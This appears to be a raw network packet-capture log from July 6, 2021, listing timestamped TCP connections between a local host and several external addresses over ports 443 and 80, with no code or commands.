Jul 6, 2021 14:31:06.008043051 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.008059978 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.008073092 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.008093119 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.008127928 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.011174917 CEST	49799	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.013187885 CEST	49798	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.020112991 CEST	49795	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.023173094 CEST	49800	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.031544924 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.033370972 CEST	49801	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.036253929 CEST	49795	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.037364960 CEST	49795	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.037415028 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.040024996 CEST	49802	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.046824932 CEST	49796	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.047358990 CEST	49796	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.048432112 CEST	49797	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.049493074 CEST	49797	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.054012060 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.054049015 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.054066896 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.054095984 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.054100990 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.054102898 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.054121017 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.054145098 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.054156065 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.054168940 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.054193020 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.054208994 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.054214954 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.054233074 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.054240942 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.054255009 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.054276943 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.054285049 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.054295063 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.054308891 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.054327011 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.054344893 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.054346085 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.054366112 CEST	443	49771	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.054404020 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.054435015 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.060895920 CEST	443	49798	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:06.060929060 CEST	443	49799	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:06.062050104 CEST	443	49798	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:06.062060118 CEST	443	49798	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:06.062083960 CEST	443	49798	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:06.062284946 CEST	49798	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.062777996 CEST	443	49799	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:06.062808037 CEST	443	49799	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:06.062827110 CEST	443	49799	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:06.062849998 CEST	49799	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.062872887 CEST	49799	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.065550089 CEST	443	49795	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.066077948 CEST	443	49800	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:06.066212893 CEST	443	49795	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.066231966 CEST	443	49795	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.066293001 CEST	49795	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.066309929 CEST	49795	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.068207026 CEST	443	49800	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:06.068239927 CEST	443	49800	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:06.068257093 CEST	443	49800	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:06.068345070 CEST	49800	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.068391085 CEST	49800	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.076956034 CEST	49798	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.077929974 CEST	443	49801	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.078077078 CEST	49801	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.080624104 CEST	443	49795	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.080688000 CEST	443	49795	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.080739975 CEST	49795	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.081551075 CEST	49799	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.081665993 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.081727028 CEST	443	49795	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.082427025 CEST	443	49795	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.082446098 CEST	443	49795	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.082494974 CEST	49795	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.082520008 CEST	49795	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.082609892 CEST	49799	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.085119009 CEST	49795	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.085242987 CEST	443	49802	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.085335970 CEST	49802	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.086617947 CEST	49802	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.091099024 CEST	443	49797	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:06.091186047 CEST	49797	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.091342926 CEST	443	49796	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.091672897 CEST	443	49796	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.092170954 CEST	443	49796	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.092222929 CEST	443	49797	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:06.092251062 CEST	49796	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.092252970 CEST	443	49796	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.092273951 CEST	443	49796	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.092279911 CEST	49797	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.092297077 CEST	49796	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.092319012 CEST	49796	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.093185902 CEST	49796	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.097759008 CEST	49800	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.098527908 CEST	49801	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.102370977 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.102411032 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.102435112 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.102451086 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.102451086 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.102472067 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.102484941 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.102495909 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.102519035 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.102521896 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.102544069 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.102560043 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.102565050 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.102586031 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.102595091 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.102612019 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.102626085 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.102633953 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.102652073 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.102662086 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.102674007 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.102693081 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.102694988 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.102713108 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.102730036 CEST	443	49769	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:06.102734089 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.102758884 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.102791071 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:06.119987011 CEST	443	49798	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:06.120141983 CEST	49798	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.125588894 CEST	443	49799	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:06.125746965 CEST	49799	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.126113892 CEST	443	49799	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:06.126207113 CEST	49799	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.129538059 CEST	443	49795	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.131521940 CEST	443	49802	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.132411957 CEST	443	49802	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.132435083 CEST	443	49802	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.132460117 CEST	443	49802	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.132508993 CEST	49802	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.132546902 CEST	49802	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.137491941 CEST	443	49796	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.138219118 CEST	49802	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.138812065 CEST	49802	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.139146090 CEST	49802	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.141222000 CEST	443	49800	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:06.141335011 CEST	49800	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:06.143496037 CEST	443	49801	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.144200087 CEST	443	49801	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.144236088 CEST	443	49801	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.144257069 CEST	443	49801	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.144273996 CEST	49801	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.144411087 CEST	49801	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.150131941 CEST	49801	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.150697947 CEST	49801	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.183248997 CEST	443	49802	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.183820009 CEST	443	49802	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.183860064 CEST	443	49802	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.183912039 CEST	49802	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.183944941 CEST	49802	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.184267044 CEST	443	49802	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.184292078 CEST	443	49802	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.184369087 CEST	49802	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.184911966 CEST	443	49802	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.184937954 CEST	443	49802	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.184984922 CEST	49802	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.185030937 CEST	49802	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.185487986 CEST	49802	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.194968939 CEST	443	49801	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.195358038 CEST	443	49801	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.195707083 CEST	443	49801	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.195810080 CEST	443	49801	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.195823908 CEST	49801	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.195830107 CEST	443	49801	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.195878983 CEST	49801	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.196763992 CEST	49801	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:06.229780912 CEST	443	49802	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:06.241199970 CEST	443	49801	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:08.506905079 CEST	49766	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:08.506953955 CEST	49765	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:08.507139921 CEST	49769	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:08.507195950 CEST	49770	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:08.507410049 CEST	49782	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:08.507559061 CEST	49783	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:08.507879972 CEST	49801	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:08.507931948 CEST	49802	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:08.507997036 CEST	49799	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:08.508058071 CEST	49800	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:08.606893063 CEST	49767	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:08.607054949 CEST	49768	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:08.607202053 CEST	49771	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:08.607237101 CEST	49772	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:08.607861996 CEST	49789	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:08.608021975 CEST	49795	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:08.608067989 CEST	49798	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:08.608100891 CEST	49797	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:08.608124018 CEST	49796	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:08.608187914 CEST	49790	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:18.025995016 CEST	49804	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.026104927 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.063380003 CEST	80	49804	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.063409090 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.063663960 CEST	49804	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.067244053 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.248924971 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.285686016 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.303908110 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.303946972 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.303968906 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.303994894 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.304018974 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.304106951 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.304128885 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.304959059 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.304991961 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.305011988 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.305035114 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.305058956 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.305075884 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.305124044 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.342456102 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.342498064 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.342586994 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.342617035 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.343519926 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.343558073 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.343599081 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.343622923 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.343632936 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.343663931 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.343714952 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.343730927 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.343759060 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.343782902 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.343789101 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.343807936 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.343827963 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.343867064 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.343986034 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.344012976 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.344039917 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.344065905 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.344109058 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.344134092 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.344163895 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.344199896 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.344250917 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.344274044 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.344295979 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.344305038 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.344341993 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.344372988 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.344394922 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.344419003 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.344427109 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.344472885 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.381339073 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.381378889 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.381402969 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.381424904 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.381503105 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.381556988 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.381665945 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.381690025 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.381714106 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.381728888 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.381735086 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.381761074 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.381771088 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.381787062 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.381814003 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.381836891 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.382014036 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382044077 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382066011 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382081985 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.382087946 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382101059 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.382107973 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382128954 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382132053 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.382150888 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382175922 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382188082 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.382195950 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382217884 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382236004 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.382242918 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382265091 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382265091 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.382286072 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382299900 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.382308006 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382328987 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382349014 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382358074 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.382370949 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382391930 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382400990 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.382416010 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382438898 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382441044 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.382458925 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382467031 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.382479906 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382502079 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382507086 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.382524967 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382545948 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382556915 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.382567883 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382594109 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.382597923 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382630110 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382632971 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.382652998 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382675886 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.382678986 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.382730007 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.418673038 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.418705940 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.418730974 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.418754101 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.418751001 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.418778896 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.418786049 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.418853045 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.418854952 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.418883085 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.418905973 CEST	80	49803	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:18.418906927 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.418961048 CEST	49803	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:18.419020891 CEST	80	49803	45.90.58.179	192.168.2.5
